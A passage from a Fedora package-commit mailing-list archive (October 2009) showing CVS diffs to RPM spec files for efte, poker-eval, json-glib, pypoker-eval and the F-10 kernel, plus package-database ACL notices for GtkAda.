-Release:	7%{?dist}
+Version:	1.1
+Release:	1%{?dist}
 Summary:	A lightweight, extendable, folding text editor for X11
 Group:		Applications/Editors
 License:	GPLv2+ or Artistic
@@ -33,7 +33,7 @@ Requires:	efte-common = %{version}-%{rel
 # .. which makes a common data package necessary
 %package common
 Summary:	Common data files for efte/nefte
-Group:		Application/Editors
+Group:		Applications/Editors
 # Make the common package get removed when the editors are removed
 Requires:	efte(binary) = %{version}-%{release}
 %if 0%{?fedora} > 10
@@ -135,6 +135,9 @@ update-desktop-database &> /dev/null || 
 %{_datadir}/efte/
 
 %changelog
+* Sun Oct 11 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.1-1
+- Update to 1.1 which fixes a buffer overflow.
+
 * Thu Aug 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.0-7
 - Added Requires: xorg-x11-fonts-misc.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/efte/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Jul 2009 05:30:00 -0000	1.2
+++ sources	11 Oct 2009 20:07:03 -0000	1.3
@@ -1 +1 @@
-d7f9b5514ceeef371d91853e56ef8288  efte-1.0.tar.bz2
+f92974f8f438842bae3b837fe6eff099  efte-1.1.tar.bz2



From jussilehtola at fedoraproject.org  Sun Oct 11 20:07:05 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 11 Oct 2009 20:07:05 +0000 (UTC)
Subject: rpms/efte/devel .cvsignore, 1.2, 1.3 efte.spec, 1.4, 1.5 sources,
	1.2, 1.3
Message-ID: <20091011200705.31E9011C00EC@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/efte/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29457/devel

Modified Files:
	.cvsignore efte.spec sources 
Log Message:
Update to 1.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/efte/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 Jul 2009 05:30:00 -0000	1.2
+++ .cvsignore	11 Oct 2009 20:07:04 -0000	1.3
@@ -1 +1 @@
-efte-1.0.tar.bz2
+efte-1.1.tar.bz2


Index: efte.spec
===================================================================
RCS file: /cvs/pkgs/rpms/efte/devel/efte.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- efte.spec	6 Aug 2009 17:13:56 -0000	1.4
+++ efte.spec	11 Oct 2009 20:07:04 -0000	1.5
@@ -1,6 +1,6 @@
 Name:		efte
-Version:	1.0
-Release:	7%{?dist}
+Version:	1.1
+Release:	1%{?dist}
 Summary:	A lightweight, extendable, folding text editor for X11
 Group:		Applications/Editors
 License:	GPLv2+ or Artistic
@@ -33,7 +33,7 @@ Requires:	efte-common = %{version}-%{rel
 # .. which makes a common data package necessary
 %package common
 Summary:	Common data files for efte/nefte
-Group:		Application/Editors
+Group:		Applications/Editors
 # Make the common package get removed when the editors are removed
 Requires:	efte(binary) = %{version}-%{release}
 %if 0%{?fedora} > 10
@@ -135,6 +135,9 @@ update-desktop-database &> /dev/null || 
 %{_datadir}/efte/
 
 %changelog
+* Sun Oct 11 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.1-1
+- Update to 1.1 which fixes a buffer overflow.
+
 * Thu Aug 06 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 1.0-7
 - Added Requires: xorg-x11-fonts-misc.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/efte/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Jul 2009 05:30:00 -0000	1.2
+++ sources	11 Oct 2009 20:07:04 -0000	1.3
@@ -1 +1 @@
-d7f9b5514ceeef371d91853e56ef8288  efte-1.0.tar.bz2
+f92974f8f438842bae3b837fe6eff099  efte-1.1.tar.bz2



From xulchris at fedoraproject.org  Sun Oct 11 20:16:09 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 20:16:09 +0000 (UTC)
Subject: rpms/poker-eval/F-10 poker-eval.spec,1.20,1.21
Message-ID: <20091011201609.1F26511C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-eval/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1829

Modified Files:
	poker-eval.spec 
Log Message:
bash4 patch not used in f10


Index: poker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-eval/F-10/poker-eval.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- poker-eval.spec	11 Oct 2009 19:54:52 -0000	1.20
+++ poker-eval.spec	11 Oct 2009 20:16:08 -0000	1.21
@@ -1,6 +1,6 @@
 Name:           poker-eval
 Version:        136.0
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 Summary:        Poker hand evaluator library
 
 Group:          Development/Libraries
@@ -8,8 +8,6 @@ License:        GPLv2+
 URL:            http://pokersource.org/poker-eval
 Source0:        http://download.gna.org/pokersource/sources/%{name}-%{version}.tar.gz
 Patch0:         %{name}-134.0-multiarch.patch
-# Workaround to BZ 485664
-Patch3:         %{name}-135.0-bash4.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -31,7 +29,6 @@ use poker-eval.
 %prep
 %setup -q
 %patch0 -p0 -b .multiarch~
-%patch3 -p0 -b .bash4~
 
 # use examples/ directory for devel package %doc section
 mkdir -p tmp/examples && cp examples/*.c tmp/examples
@@ -78,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 136.0-1.1
+- bash4 patch not needed for F-10
+
 * Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 136.0-1
 - Upstream sync
 - Remove no longer needed exit patch



From bpepple at fedoraproject.org  Sun Oct 11 20:21:36 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Sun, 11 Oct 2009 20:21:36 +0000 (UTC)
Subject: rpms/json-glib/F-11 .cvsignore, 1.3, 1.4 json-glib.spec, 1.4,
	1.5 sources, 1.3, 1.4
Message-ID: <20091011202136.C749511C00EC@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/json-glib/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3090

Modified Files:
	.cvsignore json-glib.spec sources 
Log Message:
* Tue Sep 29 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.0-1
- Update to 0.8.0.
- Update source url.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/json-glib/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	31 May 2008 16:34:21 -0000	1.3
+++ .cvsignore	11 Oct 2009 20:21:36 -0000	1.4
@@ -1 +1 @@
-json-glib-0.6.2.tar.gz
+json-glib-0.8.0.tar.bz2


Index: json-glib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/json-glib/F-11/json-glib.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- json-glib.spec	27 Feb 2009 00:08:42 -0000	1.4
+++ json-glib.spec	11 Oct 2009 20:21:36 -0000	1.5
@@ -1,14 +1,14 @@
 %define glib_ver 2.15
 
 Name:		json-glib
-Version:	0.6.2
-Release:	3%{?dist}
+Version:	0.8.0
+Release:	1%{?dist}
 Summary:	Library for JavaScript Object Notation format
 
 Group:		System Environment/Libraries
 License:	LGPLv2+
 URL:		http://live.gnome.org/JsonGlib
-Source0:	http://folks.o-hand.com/~ebassi/sources/%{name}-%{version}.tar.gz
+Source0:	http://ftp.gnome.org/pub/GNOME/sources/%{name}/0.8/%{name}-%{version}.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:	glib2-devel >= %{glib_ver}
@@ -82,6 +82,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Sep 29 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.0-1
+- Update to 0.8.0.
+- Update source url.
+
 * Thu Feb 26 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.6.2-3
 - Disable tests for now.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/json-glib/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	31 May 2008 16:34:21 -0000	1.3
+++ sources	11 Oct 2009 20:21:36 -0000	1.4
@@ -1 +1 @@
-d98f5580035ad0b37fa11896053a57af  json-glib-0.6.2.tar.gz
+03d1989e035703a939c1b62115cf08ee  json-glib-0.8.0.tar.bz2



From xulchris at fedoraproject.org  Sun Oct 11 20:30:50 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 20:30:50 +0000 (UTC)
Subject: rpms/pypoker-eval/F-10 .cvsignore, 1.7, 1.8 pypoker-eval.spec, 1.14,
	1.15 sources, 1.7, 1.8
Message-ID: <20091011203050.8975E11C0265@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/pypoker-eval/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6063/F-10

Modified Files:
	.cvsignore pypoker-eval.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-10/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	2 Jan 2009 04:45:47 -0000	1.7
+++ .cvsignore	11 Oct 2009 20:30:48 -0000	1.8
@@ -1 +1 @@
-pypoker-eval-136.0.tar.gz
+pypoker-eval-137.0.tar.gz


Index: pypoker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-10/pypoker-eval.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- pypoker-eval.spec	2 Jan 2009 04:45:47 -0000	1.14
+++ pypoker-eval.spec	11 Oct 2009 20:30:48 -0000	1.15
@@ -1,7 +1,7 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           pypoker-eval
-Version:        136.0
+Version:        137.0
 Release:        1%{?dist}
 Summary:        Python interface to poker-eval
 
@@ -75,6 +75,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 137.0-1
+- Upstream sync
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 136.0-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 136.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Thu Jan 01 2009 Christopher Stone <chris.stone at gmail.com> 136.0-1
 - Upstream sync
 - Remove no longer needed python26 patch


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-10/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	2 Jan 2009 04:45:47 -0000	1.7
+++ sources	11 Oct 2009 20:30:48 -0000	1.8
@@ -1 +1 @@
-08cf41708c83b5f61577d7779f80cf55  pypoker-eval-136.0.tar.gz
+a17ceb8320097f026754ac0ef22f7888  pypoker-eval-137.0.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 20:30:50 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 20:30:50 +0000 (UTC)
Subject: rpms/pypoker-eval/F-11 .cvsignore, 1.7, 1.8 pypoker-eval.spec, 1.17,
	1.18 sources, 1.7, 1.8
Message-ID: <20091011203050.C6D2A11C029D@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/pypoker-eval/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6063/F-11

Modified Files:
	.cvsignore pypoker-eval.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	2 Jan 2009 04:45:48 -0000	1.7
+++ .cvsignore	11 Oct 2009 20:30:49 -0000	1.8
@@ -1 +1 @@
-pypoker-eval-136.0.tar.gz
+pypoker-eval-137.0.tar.gz


Index: pypoker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-11/pypoker-eval.spec,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- pypoker-eval.spec	26 Feb 2009 20:19:28 -0000	1.17
+++ pypoker-eval.spec	11 Oct 2009 20:30:49 -0000	1.18
@@ -1,8 +1,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           pypoker-eval
-Version:        136.0
-Release:        2%{?dist}
+Version:        137.0
+Release:        1%{?dist}
 Summary:        Python interface to poker-eval
 
 Group:          Development/Libraries
@@ -75,6 +75,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 137.0-1
+- Upstream sync
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 136.0-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 136.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-11/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	2 Jan 2009 04:45:48 -0000	1.7
+++ sources	11 Oct 2009 20:30:49 -0000	1.8
@@ -1 +1 @@
-08cf41708c83b5f61577d7779f80cf55  pypoker-eval-136.0.tar.gz
+a17ceb8320097f026754ac0ef22f7888  pypoker-eval-137.0.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 20:30:52 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 20:30:52 +0000 (UTC)
Subject: rpms/pypoker-eval/devel .cvsignore, 1.7, 1.8 pypoker-eval.spec, 1.18,
	1.19 sources, 1.7, 1.8
Message-ID: <20091011203052.367B211C0265@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/pypoker-eval/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6063/devel

Modified Files:
	.cvsignore pypoker-eval.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	2 Jan 2009 04:45:48 -0000	1.7
+++ .cvsignore	11 Oct 2009 20:30:50 -0000	1.8
@@ -1 +1 @@
-pypoker-eval-136.0.tar.gz
+pypoker-eval-137.0.tar.gz


Index: pypoker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/devel/pypoker-eval.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- pypoker-eval.spec	26 Jul 2009 19:57:05 -0000	1.18
+++ pypoker-eval.spec	11 Oct 2009 20:30:51 -0000	1.19
@@ -1,8 +1,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           pypoker-eval
-Version:        136.0
-Release:        3%{?dist}
+Version:        137.0
+Release:        1%{?dist}
 Summary:        Python interface to poker-eval
 
 Group:          Development/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 137.0-1
+- Upstream sync
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 136.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	2 Jan 2009 04:45:48 -0000	1.7
+++ sources	11 Oct 2009 20:30:51 -0000	1.8
@@ -1 +1 @@
-08cf41708c83b5f61577d7779f80cf55  pypoker-eval-136.0.tar.gz
+a17ceb8320097f026754ac0ef22f7888  pypoker-eval-137.0.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 20:30:51 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 20:30:51 +0000 (UTC)
Subject: rpms/pypoker-eval/F-12 .cvsignore, 1.7, 1.8 pypoker-eval.spec, 1.18,
	1.19 sources, 1.7, 1.8
Message-ID: <20091011203051.EF92D11C0265@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/pypoker-eval/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6063/F-12

Modified Files:
	.cvsignore pypoker-eval.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	2 Jan 2009 04:45:48 -0000	1.7
+++ .cvsignore	11 Oct 2009 20:30:50 -0000	1.8
@@ -1 +1 @@
-pypoker-eval-136.0.tar.gz
+pypoker-eval-137.0.tar.gz


Index: pypoker-eval.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-12/pypoker-eval.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- pypoker-eval.spec	26 Jul 2009 19:57:05 -0000	1.18
+++ pypoker-eval.spec	11 Oct 2009 20:30:50 -0000	1.19
@@ -1,8 +1,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name:           pypoker-eval
-Version:        136.0
-Release:        3%{?dist}
+Version:        137.0
+Release:        1%{?dist}
 Summary:        Python interface to poker-eval
 
 Group:          Development/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 137.0-1
+- Upstream sync
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 136.0-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pypoker-eval/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	2 Jan 2009 04:45:48 -0000	1.7
+++ sources	11 Oct 2009 20:30:50 -0000	1.8
@@ -1 +1 @@
-08cf41708c83b5f61577d7779f80cf55  pypoker-eval-136.0.tar.gz
+a17ceb8320097f026754ac0ef22f7888  pypoker-eval-137.0.tar.gz



From pkgdb at fedoraproject.org  Sun Oct 11 20:47:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 20:47:20 +0000
Subject: [pkgdb] GtkAda had acl change status
Message-ID: <20091011204720.DC8C310F87E@bastion2.fedora.phx.redhat.com>

gemi has set the watchbugzilla acl on GtkAda (Fedora devel) to Approved for rombobeorn

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Sun Oct 11 20:47:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 20:47:21 +0000
Subject: [pkgdb] GtkAda had acl change status
Message-ID: <20091011204721.5096F10F889@bastion2.fedora.phx.redhat.com>

gemi has set the watchcommits acl on GtkAda (Fedora devel) to Approved for rombobeorn

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Sun Oct 11 20:47:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 20:47:22 +0000
Subject: [pkgdb] GtkAda had acl change status
Message-ID: <20091011204722.45B0710F8A4@bastion2.fedora.phx.redhat.com>

gemi has set the commit acl on GtkAda (Fedora devel) to Approved for rombobeorn

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Sun Oct 11 20:47:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 20:47:35 +0000
Subject: [pkgdb] GtkAda had acl change status
Message-ID: <20091011204735.A41B610F875@bastion2.fedora.phx.redhat.com>

gemi has set the watchcommits acl on GtkAda (Fedora 12) to Approved for rombobeorn

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Sun Oct 11 20:47:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 20:47:35 +0000
Subject: [pkgdb] GtkAda had acl change status
Message-ID: <20091011204735.D607010F882@bastion2.fedora.phx.redhat.com>

gemi has set the watchbugzilla acl on GtkAda (Fedora 12) to Approved for rombobeorn

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Sun Oct 11 20:47:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 20:47:37 +0000
Subject: [pkgdb] GtkAda had acl change status
Message-ID: <20091011204737.19B6110F8A3@bastion2.fedora.phx.redhat.com>

gemi has set the commit acl on GtkAda (Fedora 12) to Approved for rombobeorn

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Sun Oct 11 20:47:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 20:47:42 +0000
Subject: [pkgdb] GtkAda had acl change status
Message-ID: <20091011204743.05E4F10F889@bastion2.fedora.phx.redhat.com>

gemi has set the commit acl on GtkAda (Fedora 12) to Obsolete for rombobeorn

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From cebbert at fedoraproject.org  Sun Oct 11 21:02:53 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sun, 11 Oct 2009 21:02:53 +0000 (UTC)
Subject: rpms/kernel/F-10 patch-2.6.27.37-rc1.bz2.sign, NONE,
	1.1.2.1 .cvsignore, 1.960.2.24, 1.960.2.25 kernel.spec,
	1.1206.2.99, 1.1206.2.100 sources, 1.922.2.24,
	1.922.2.25 upstream, 1.834.2.24, 1.834.2.25
	ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch,
	1.1.2.1,
	NONE kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch, 
	1.1.2.1, NONE x86-dont-leak-64-bit-kernel-register-values.patch,
	1.1.2.1, NONE x86-increase-min_gap-to-include-randomized-stack.patch, 
	1.1.2.1, NONE x86-streamline-32-bit-syscall-entry-code.patch,
	1.1.2.1, NONE
Message-ID: <20091011210253.4EB7511C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16825

Modified Files:
      Tag: private-fedora-10-2_6_27
	.cvsignore kernel.spec sources upstream 
Added Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.37-rc1.bz2.sign 
Removed Files:
      Tag: private-fedora-10-2_6_27
	ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch 
	kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch 
	x86-dont-leak-64-bit-kernel-register-values.patch 
	x86-increase-min_gap-to-include-randomized-stack.patch 
	x86-streamline-32-bit-syscall-entry-code.patch 
Log Message:
Linux 2.6.27.37-rc1
Drop merged patches:
  kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch
  x86-increase-min_gap-to-include-randomized-stack.patch
  ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
  x86-dont-leak-64-bit-kernel-register-values.patch
  x86-streamline-32-bit-syscall-entry-code.patch


--- NEW FILE patch-2.6.27.37-rc1.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKz8cryGugalF9Dw4RAiBuAJ473nf+IvZscSa7adALbsp6R3Q++wCfd32d
YPkzt04OXaHJ6PVNqGdKAl4=
=7Tm9
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/.cvsignore,v
retrieving revision 1.960.2.24
retrieving revision 1.960.2.25
diff -u -p -r1.960.2.24 -r1.960.2.25
--- .cvsignore	5 Oct 2009 21:42:17 -0000	1.960.2.24
+++ .cvsignore	11 Oct 2009 21:02:52 -0000	1.960.2.25
@@ -5,3 +5,4 @@ temp-*
 kernel-2.6.27
 linux-2.6.27.tar.bz2
 patch-2.6.27.36.bz2
+patch-2.6.27.37-rc1.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.99
retrieving revision 1.1206.2.100
diff -u -p -r1.1206.2.99 -r1.1206.2.100
--- kernel.spec	7 Oct 2009 16:22:41 -0000	1.1206.2.99
+++ kernel.spec	11 Oct 2009 21:02:52 -0000	1.1206.2.100
@@ -39,9 +39,9 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 36
+%define stable_update 37
 # Is it a -stable RC?
-%define stable_rc 0
+%define stable_rc 1
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -783,22 +783,9 @@ Patch15000: linux-2.6-ppc64-vs-broadcom.
 Patch15001: linux-2.6-ppc64-vs-broadcom-lmb-no-init-1.patch
 Patch15002: linux-2.6-ppc64-vs-broadcom-lmb-no-init-2.patch
 
-# kvm hypercall must be from cpl0 on guest
-Patch15100: kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch
-
 # appletalk: fix skb leak (CVE-2009-2903)
 Patch15200: appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
-# fix stack randomization (#526882)
-Patch15300: x86-increase-min_gap-to-include-randomized-stack.patch
-
-# CVE-2009-2908
-Patch15400: ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
-
-# fix leakage of 64-bit regs to 32-bit tasks
-Patch15500: x86-streamline-32-bit-syscall-entry-code.patch
-Patch15510: x86-dont-leak-64-bit-kernel-register-values.patch
-
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1431,22 +1418,9 @@ ApplyPatch linux-2.6-ppc64-vs-broadcom.p
 ApplyPatch linux-2.6-ppc64-vs-broadcom-lmb-no-init-1.patch
 ApplyPatch linux-2.6-ppc64-vs-broadcom-lmb-no-init-2.patch
 
-# kvm hypercall must be from cpl0 on guest (CVE-2009-3290)
-ApplyPatch kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch
-
 # appletalk: fix skb leak (CVE-2009-2903)
 ApplyPatch appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
-# backport of stack randomization fix from 2.6.31.2
-ApplyPatch x86-increase-min_gap-to-include-randomized-stack.patch
-
-# CVE-2009-2908
-ApplyPatch ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
-
-# fix leakage of 64-bit regs to 32-bit tasks
-ApplyPatch x86-streamline-32-bit-syscall-entry-code.patch
-ApplyPatch x86-dont-leak-64-bit-kernel-register-values.patch
-
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2022,6 +1996,15 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Wed Oct 07 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.100.rc1
+- Linux 2.6.27.37-rc1
+- Drop merged patches:
+  kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch
+  x86-increase-min_gap-to-include-randomized-stack.patch
+  ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
+  x86-dont-leak-64-bit-kernel-register-values.patch
+  x86-streamline-32-bit-syscall-entry-code.patch
+
 * Wed Oct 07 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.99
 - x86: fix leakage of kernel 64-bit registers to 32-bit tasks.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/sources,v
retrieving revision 1.922.2.24
retrieving revision 1.922.2.25
diff -u -p -r1.922.2.24 -r1.922.2.25
--- sources	5 Oct 2009 21:42:18 -0000	1.922.2.24
+++ sources	11 Oct 2009 21:02:52 -0000	1.922.2.25
@@ -1,2 +1,3 @@
 b3e78977aa79d3754cb7f8143d7ddabd  linux-2.6.27.tar.bz2
 868646f1e2dcc6280c412bd7ee9f3ece  patch-2.6.27.36.bz2
+942fc46df8248c07c5535081f0c45041  patch-2.6.27.37-rc1.bz2


Index: upstream
